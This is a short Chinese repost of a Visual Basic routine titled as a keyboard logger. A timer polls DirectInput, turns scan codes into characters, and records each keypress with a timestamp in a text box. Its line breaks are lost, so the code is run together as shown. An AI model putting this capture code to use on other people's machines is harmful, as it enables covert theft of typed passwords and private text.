vb键盘记录

前端之家收集整理的这篇文章主要介绍了vb键盘记录前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

Private Sub Timer1_Timer()' DX键盘记录'On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer,vKeyCode As Integer,vKeyASC As StringDI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state结构中For key_count = 0 To 255 If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码 vKeyCode = MapVirtualKey(key_count,1) '扫描码转虚拟码 vKeyASC = Chr(MapVirtualKey(vKeyCode,2)) '虚拟码转换为ASCII字符 If vKeyASC <> Chr(0) Then If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then vKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写 Else vKeyASC = LCase(vKeyASC) End If If vKeyASC = " " Then vKeyASC = "【空格】" Else vKeyASC = "【" & CStr(vKeyCode) & "】" '如果是不能显示的键,则直接显示虚拟码 End If If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up) DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符 DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|" '存储按键时间信息,以|为分隔符 Text1.Text = DataKeyCacheDX End If keyArray(key_count) = key_state.Key(key_count)NextEnd Sub

原文链接:https://www.f2er.com/vb/261278.html

猜你在找的VB相关文章